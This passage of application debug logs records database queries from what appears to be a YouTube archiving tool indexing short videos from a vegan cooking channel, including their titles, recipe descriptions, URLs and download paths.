19:00:03Z], 1] 20:31:11.153 [debug] QUERY OK source="media_items" db=1.1ms idle=7.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I could snack on these aaaaaaaaaall day. 4-Ingredient Spicy & Crispy Soy Curls! 🌶\n\nA great source of plant-based protein and awesome replacement for chicken or pork! Eat as is or toss them in your favourite sauce 🤤 \n\nSAVE THIS RECIPE ✔️ measure with your heart\nRehydrated soy curls, dried and water pressed out of them\nSoy sauce\nSriracha\nNutritional yeast\nToss all the ingredients in a bowl, and bake on a parchment lined baking tray for 25 minutes at 400ºF. ENJOY! #steamyvegankitchen", "4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts", "0d056aef-ddb8-4da1-b9d0-bee4fb8fe99d", 1, [], 30, false, "A0rTTFe0kxM", "https://www.youtube.com/shorts/A0rTTFe0kxM", 453, "/downloads/downloads/alec/Steamy Vegan/2022-05-15 4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts/4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts [A0rTTFe0kxM].NA", false, false, true, 3, ~U[2022-05-15 19:00:03Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "I could snack on these aaaaaaaaaall day. 4-Ingredient Spicy & Crispy Soy Curls! 🌶\n\nA great source of plant-based protein and awesome replacement for chicken or pork! Eat as is or toss them in your favourite sauce 🤤 \n\nSAVE THIS RECIPE ✔️ measure with your heart\nRehydrated soy curls, dried and water pressed out of them\nSoy sauce\nSriracha\nNutritional yeast\nToss all the ingredients in a bowl, and bake on a parchment lined baking tray for 25 minutes at 400ºF. ENJOY! #steamyvegankitchen", "4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts", 1, 30, false, "A0rTTFe0kxM", "https://www.youtube.com/shorts/A0rTTFe0kxM", "/downloads/downloads/alec/Steamy Vegan/2022-05-15 4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts/4-INGREDIENT CRISPY SOY CURLS (tastes like chicken) 🍗 #shorts [A0rTTFe0kxM].NA", true, ~U[2022-05-15 19:00:03Z]] 20:31:11.155 [debug] QUERY OK source="sources" db=2.0ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.158 [debug] QUERY OK source="media_items" db=2.8ms idle=8.4ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-15 16:00:04Z], 1] 20:31:11.159 [debug] QUERY OK source="media_items" db=0.8ms idle=10.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["#BRADPITT 🤣🤣🤣🥑🥑🥑\n\nWe have fun sometimes. #steamyvegankitchen", "Meet my husband, Brad Pitt 🔥 #shorts", "4d036c47-89b4-4c40-bf43-191cb9b16c40", 1, [], 13, false, "7tbmMFBLmmc", "https://www.youtube.com/shorts/7tbmMFBLmmc", 454, "/downloads/downloads/alec/Steamy Vegan/2022-05-15 Meet my husband, Brad Pitt 🔥 #shorts/Meet my husband, Brad Pitt 🔥 #shorts [7tbmMFBLmmc].NA", false, false, true, 3, ~U[2022-05-15 16:00:04Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "#BRADPITT 🤣🤣🤣🥑🥑🥑\n\nWe have fun sometimes. #steamyvegankitchen", "Meet my husband, Brad Pitt 🔥 #shorts", 1, 13, false, "7tbmMFBLmmc", "https://www.youtube.com/shorts/7tbmMFBLmmc", "/downloads/downloads/alec/Steamy Vegan/2022-05-15 Meet my husband, Brad Pitt 🔥 #shorts/Meet my husband, Brad Pitt 🔥 #shorts [7tbmMFBLmmc].NA", true, ~U[2022-05-15 16:00:04Z]] 20:31:11.160 [debug] QUERY OK source="sources" db=0.7ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.162 [debug] QUERY OK source="media_items" db=2.0ms idle=7.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-15 01:00:06Z], 1] 20:31:11.163 [debug] QUERY OK source="media_items" db=0.7ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Seriously, who else gets HIGH from organizing?! 😍 'Cause you know what they say: Cluttered space, cluttered mind.", "This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts", "f5a572aa-5467-455c-92f1-3b770c3e35da", 1, [], 53, false, "H7fSLAWuYrs", "https://www.youtube.com/shorts/H7fSLAWuYrs", 455, "/downloads/downloads/alec/Steamy Vegan/2022-05-15 This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts/This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts [H7fSLAWuYrs].NA", false, false, true, 3, ~U[2022-05-15 01:00:06Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Seriously, who else gets HIGH from organizing?! 😍 'Cause you know what they say: Cluttered space, cluttered mind.", "This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts", 1, 53, false, "H7fSLAWuYrs", "https://www.youtube.com/shorts/H7fSLAWuYrs", "/downloads/downloads/alec/Steamy Vegan/2022-05-15 This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts/This makes me feel good 😌 Who else needs to reorganize their kitchen this weekend?! #shorts [H7fSLAWuYrs].NA", true, ~U[2022-05-15 01:00:06Z]] 20:31:11.164 [debug] QUERY OK source="sources" db=0.6ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.167 [debug] QUERY OK source="media_items" db=2.5ms idle=5.1ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-14 19:00:02Z], 1] 20:31:11.169 [debug] QUERY OK source="media_items" db=1.0ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["I keep a batch of this in my fridge AT ALL TIMES! 'Cause let me tell you, this lemony garlic dijon dressing is so dang GOOD 😊 Use it as a salad dressing, marinade, dip or sauce! It's versatile, tangy, fresh and oh so herbaceous - perfect for so many things!\n\nSAVE THIS RECIPE! ✔️\nIn a jar combine the following:\n\n1/4 cup olive oil or grapeseed oil\nJuice of 1 lemon\n2-3 cloves of garlic, minced\n2 tbsp dijon mustard\n2 green onions, finely chopped\nsalt and pepper to taste\n\nCheck out the full recipe for this PLUS it's accompanying Niçoise salad recipe on my channel! \nhttps://youtu.be/Ztps-dPnqW8", "You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts", "1a54cc5d-a9a2-46e5-83a4-4f21204d3a78", 1, [], 43, false, "69xI_06CvYg", "https://www.youtube.com/shorts/69xI_06CvYg", 456, "/downloads/downloads/alec/Steamy Vegan/2022-05-14 You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts/You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts [69xI_06CvYg].NA", false, false, true, 4, ~U[2022-05-14 19:00:02Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "I keep a batch of this in my fridge AT ALL TIMES! 'Cause let me tell you, this lemony garlic dijon dressing is so dang GOOD 😊 Use it as a salad dressing, marinade, dip or sauce! It's versatile, tangy, fresh and oh so herbaceous - perfect for so many things!\n\nSAVE THIS RECIPE! ✔️\nIn a jar combine the following:\n\n1/4 cup olive oil or grapeseed oil\nJuice of 1 lemon\n2-3 cloves of garlic, minced\n2 tbsp dijon mustard\n2 green onions, finely chopped\nsalt and pepper to taste\n\nCheck out the full recipe for this PLUS it's accompanying Niçoise salad recipe on my channel! \nhttps://youtu.be/Ztps-dPnqW8", "You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts", 1, 43, false, "69xI_06CvYg", "https://www.youtube.com/shorts/69xI_06CvYg", "/downloads/downloads/alec/Steamy Vegan/2022-05-14 You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts/You’ll want to put this dressing on EVERYTHING 🤤 LEMONY GARLIC DIJON DRESSING 🥗 #shorts [69xI_06CvYg].NA", true, ~U[2022-05-14 19:00:02Z]] 20:31:11.170 [debug] QUERY OK source="sources" db=1.1ms idle=6.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.173 [debug] QUERY OK source="media_items" db=2.4ms idle=6.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-14 15:58:55Z], 1] 20:31:11.174 [debug] QUERY OK source="media_items" db=0.8ms idle=8.6ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Ever wondered if hot sauce belongs on ice cream or what other weird food pairings might actually taste amazing? In our full video we try out 8 different odd, strange, and downright weird food combinations that many people think are amazing together.\n\nCheck out the full video on our channel here: https://youtu.be/49F_nas-o7o\n\nDon't forget to subscribe and like!!!", "Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts", "4f38ad3b-ce4d-42ca-9d74-b5fb9b40ebaa", 1, [], 60, false, "Dl9xcJoW9Yw", "https://www.youtube.com/shorts/Dl9xcJoW9Yw", 457, "/downloads/downloads/alec/Steamy Vegan/2022-05-14 Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts/Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts [Dl9xcJoW9Yw].NA", false, false, true, 4, ~U[2022-05-14 15:58:55Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Ever wondered if hot sauce belongs on ice cream or what other weird food pairings might actually taste amazing? In our full video we try out 8 different odd, strange, and downright weird food combinations that many people think are amazing together.\n\nCheck out the full video on our channel here: https://youtu.be/49F_nas-o7o\n\nDon't forget to subscribe and like!!!", "Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts", 1, 60, false, "Dl9xcJoW9Yw", "https://www.youtube.com/shorts/Dl9xcJoW9Yw", "/downloads/downloads/alec/Steamy Vegan/2022-05-14 Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts/Does HOT SAUCE belong on ICE CREAM? We taste test some of the weirdest food combinations #shorts [Dl9xcJoW9Yw].NA", true, ~U[2022-05-14 15:58:55Z]] 20:31:11.175 [debug] QUERY OK source="sources" db=0.7ms idle=7.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.177 [debug] QUERY OK source="media_items" db=2.3ms idle=6.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-14 02:24:46Z], 1] 20:31:11.178 [debug] QUERY OK source="media_items" db=0.6ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Check out our full video about some really strange food pairings that don't belong together and a few foods you absolutely have to try at least once in your life. We taste test some really odd foods and mash them together to see if they taste any good and then rate them with some of the weirdest ratings you'll ever see.\n\nFull YouTube video here: https://youtu.be/49F_nas-o7o", "STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts", "c72ae74b-1cbd-4a34-a9b4-f083cb1c6c76", 1, [], 27, false, "1laOl6trkWc", "https://www.youtube.com/shorts/1laOl6trkWc", 458, "/downloads/downloads/alec/Steamy Vegan/2022-05-14 STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts/STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts [1laOl6trkWc].NA", false, false, true, 4, ~U[2022-05-14 02:24:46Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Check out our full video about some really strange food pairings that don't belong together and a few foods you absolutely have to try at least once in your life. We taste test some really odd foods and mash them together to see if they taste any good and then rate them with some of the weirdest ratings you'll ever see.\n\nFull YouTube video here: https://youtu.be/49F_nas-o7o", "STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts", 1, 27, false, "1laOl6trkWc", "https://www.youtube.com/shorts/1laOl6trkWc", "/downloads/downloads/alec/Steamy Vegan/2022-05-14 STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts/STRANGE FOODS YOU HAVE TO TRY and a few weird foods that really don't belong together! #shorts [1laOl6trkWc].NA", true, ~U[2022-05-14 02:24:46Z]] 20:31:11.179 [debug] QUERY OK source="sources" db=0.6ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.184 [debug] QUERY OK source="media_items" db=2.9ms idle=6.9ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-14 00:33:32Z], 1] 20:31:11.186 [debug] QUERY OK source="media_items" db=1.2ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Looking for an easy vegan tray-bake, with zero fuss, that's also delicious and healthy? Make this vegan Niçoise salad and impress your friends with it's beauty 😍 Great for meal prep, using minimal ingredients and no cooking skills required!\n\nWATCH THE FULL RECIPE VIDEO: https://youtu.be/Ztps-dPnqW8\n\n\n\n\nMusic by The Hidden - How Is Your karma - https://thmatc.co/?l=31AB753B", "NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸", "c23f51c2-6138-44ec-a6f9-e55ff75ddf47", 1, [], 60, false, "EEWQwcAvcBw", "https://www.youtube.com/shorts/EEWQwcAvcBw", 459, "/downloads/downloads/alec/Steamy Vegan/2022-05-14 NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸/NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸 [EEWQwcAvcBw].NA", false, false, true, 4, ~U[2022-05-14 00:33:32Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Looking for an easy vegan tray-bake, with zero fuss, that's also delicious and healthy? Make this vegan Niçoise salad and impress your friends with it's beauty 😍 Great for meal prep, using minimal ingredients and no cooking skills required!\n\nWATCH THE FULL RECIPE VIDEO: https://youtu.be/Ztps-dPnqW8\n\n\n\n\nMusic by The Hidden - How Is Your karma - https://thmatc.co/?l=31AB753B", "NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸", 1, 60, false, "EEWQwcAvcBw", "https://www.youtube.com/shorts/EEWQwcAvcBw", "/downloads/downloads/alec/Steamy Vegan/2022-05-14 NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸/NO KITCHEN SKILLS REQUIRED! Impress your friends with this spring Niçoise salad tray-bake 🌸 [EEWQwcAvcBw].NA", true, ~U[2022-05-14 00:33:32Z]] 20:31:11.186 [debug] QUERY OK source="sources" db=0.4ms idle=8.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.188 [debug] QUERY OK source="media_items" db=1.6ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-13 15:45:36Z], 1] 20:31:11.189 [debug] QUERY OK source="media_items" db=0.6ms idle=9.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Stop throwing out your lettuce when it get's wilty! Make lettuce wrap TACOS instead! 🌮 \n\nFood waste sucks, you guys. When lettuce gets wilty, it just means it's lost it's water content, but the nutrients are all still there! Simply soak your lettuce in ice cold water for 30 minutes and it should perk right back up! Even if it doesn't, you can still use wilted lettuce to make some awesome tacos or lettuce wraps - you can even add them to smoothies!", "STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts", "94054367-24fa-4b38-9e0b-226a9ad0cf32", 1, [], 15, false, "W1gHhounVRA", "https://www.youtube.com/shorts/W1gHhounVRA", 460, "/downloads/downloads/alec/Steamy Vegan/2022-05-13 STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts/STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts [W1gHhounVRA].NA", false, false, true, 1, ~U[2022-05-13 15:45:36Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "Stop throwing out your lettuce when it get's wilty! Make lettuce wrap TACOS instead! 🌮 \n\nFood waste sucks, you guys. When lettuce gets wilty, it just means it's lost it's water content, but the nutrients are all still there! Simply soak your lettuce in ice cold water for 30 minutes and it should perk right back up! Even if it doesn't, you can still use wilted lettuce to make some awesome tacos or lettuce wraps - you can even add them to smoothies!", "STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts", 1, 15, false, "W1gHhounVRA", "https://www.youtube.com/shorts/W1gHhounVRA", "/downloads/downloads/alec/Steamy Vegan/2022-05-13 STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts/STOP THROWING OUT YOUR LETTUCE! 🥬 Make these TACOS 🌮 instead #shorts [W1gHhounVRA].NA", true, ~U[2022-05-13 15:45:36Z]] 20:31:11.190 [debug] QUERY OK source="sources" db=1.0ms idle=5.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.192 [debug] QUERY OK source="media_items" db=1.8ms idle=5.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2022-05-12 15:25:39Z], 1] 20:31:11.193 [debug] QUERY OK source="media_items" db=0.7ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["We try some weird food pairings so you don't have to. Tell us about the weirdest food pairings you've tried and what you think of cayenne and pineapple. This one isn't as weird as the 7 others we tried.\n\nThe full video will be released later this week. Subscribe so you don't miss out!", "WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍", "ee6dc905-0114-4d9d-a0f4-d476bc6177a0", 1, [], 15, false, "px0_r8VNKtA", "https://www.youtube.com/shorts/px0_r8VNKtA", 461, "/downloads/downloads/alec/Steamy Vegan/2022-05-12 WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍/WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍 [px0_r8VNKtA].NA", false, false, true, 1, ~U[2022-05-12 15:25:39Z], ~U[2026-03-22 03:31:11Z], ~U[2026-03-22 03:31:11Z], "We try some weird food pairings so you don't have to. Tell us about the weirdest food pairings you've tried and what you think of cayenne and pineapple. This one isn't as weird as the 7 others we tried.\n\nThe full video will be released later this week. Subscribe so you don't miss out!", "WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍", 1, 15, false, "px0_r8VNKtA", "https://www.youtube.com/shorts/px0_r8VNKtA", "/downloads/downloads/alec/Steamy Vegan/2022-05-12 WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍/WEIRD FOOD PAIRINGS! Cayenne and Pineapple: Yay or Nay? 🌶 🍍 [px0_r8VNKtA].NA", true, ~U[2022-05-12 15:25:39Z]] 20:31:11.194 [debug] QUERY OK source="sources" db=0.5ms idle=5.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:11.196 [debug] 